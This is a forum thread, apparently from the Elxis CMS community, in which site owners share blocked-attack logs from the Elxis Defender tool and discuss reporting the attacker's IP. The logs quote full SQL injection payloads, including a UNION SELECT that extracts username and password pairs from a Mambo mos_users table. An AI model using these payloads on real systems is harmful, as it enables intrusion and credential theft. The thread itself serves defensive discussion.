Combination of attacks in 3 sites

[datahell]

This is not an attack to Elxis, it is an attack to mambo sites... Notice the url, it says "mos_users", also the func variable does not exist in elxis or in component downloads. You have nothing to be afraid of...

[jimmyz]

Just for the record, here are the four different types of URIs, in twelve attacks, on the same site.

Code: [Select]

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.32.68.106
Requested URI: //index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*
DATE: 26-01-2009 04:24:55


Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.32.68.106
Requested URI: /index.php?option=com_downloads&Ite ...//index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*
DATE: 26-01-2009 04:27:34


Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.32.68.106
Requested URI: /index.php?option=com_downloads&Itemid=145&mylang=english//index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*
DATE: 26-01-2009 04:27:41


Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 72.32.68.106
Requested URI: /index.php?option=com_downloads&task=category&cid=2&Itemid=144//index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*
DATE: 26-01-2009 04:27:42

Should I use the abuse mail of the company that owns this IP?

[rentasite]

Should I use the abuse mail of the company that owns this IP?

If you haven't anything else to do, yes 

[jimmyz]

Just a thought...

[CREATIVE Options]

Something new

Code: [Select]

Elxis Defender blocked an attack to your site ATTACKER IP ADDRESS: 115.49.70.18 (blocked) Requested URI: /blog/corfu-news/corfu/?page=3 and char(124)+user+char(124)=0
DATE: 02-02-2009 19:55:14

Elxis Defender blocked an attack to your site ATTACKER IP ADDRESS: 115.49.70.18 (blocked) Requested URI: /blog/corfu-news/corfu/?page=3\' and char(124)+user+char(124)=0 and \'%\'=\'
DATE: 02-02-2009 19:55:15
TY Elxis Defender